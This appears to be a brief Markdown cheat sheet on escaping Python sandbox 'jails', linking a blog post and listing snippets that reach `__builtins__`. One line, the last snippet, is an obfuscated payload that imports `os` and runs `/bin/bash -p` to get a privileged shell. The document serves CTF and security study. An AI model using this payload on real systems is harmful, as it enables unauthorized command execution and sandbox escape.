19 lines
347 B
Markdown
19 lines
347 B
Markdown
|
# Escaping Jails
|
||
|
|
|
||
|
|
* [Aneesh's blog](https://anee.me/escaping-python-jails-849c65cf306e?gi=a7d3bac81831)
|
||
|
|
|
||
|
|
## Usage
|
||
|
|
|
||
|
|
* Circumvent via `__builtins__`
|
||
|
|
```python
|
||
|
|
dir(__builtins__)
|
||
|
|
```
|
||
|
|
```python
|
||
|
|
__builtins__.__dict__
|
||
|
|
```
|
||
|
|
* Call builtins
|
||
|
|
```python
|
||
|
|
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash -p')
|
||
|
|
```
|
||
|
|
|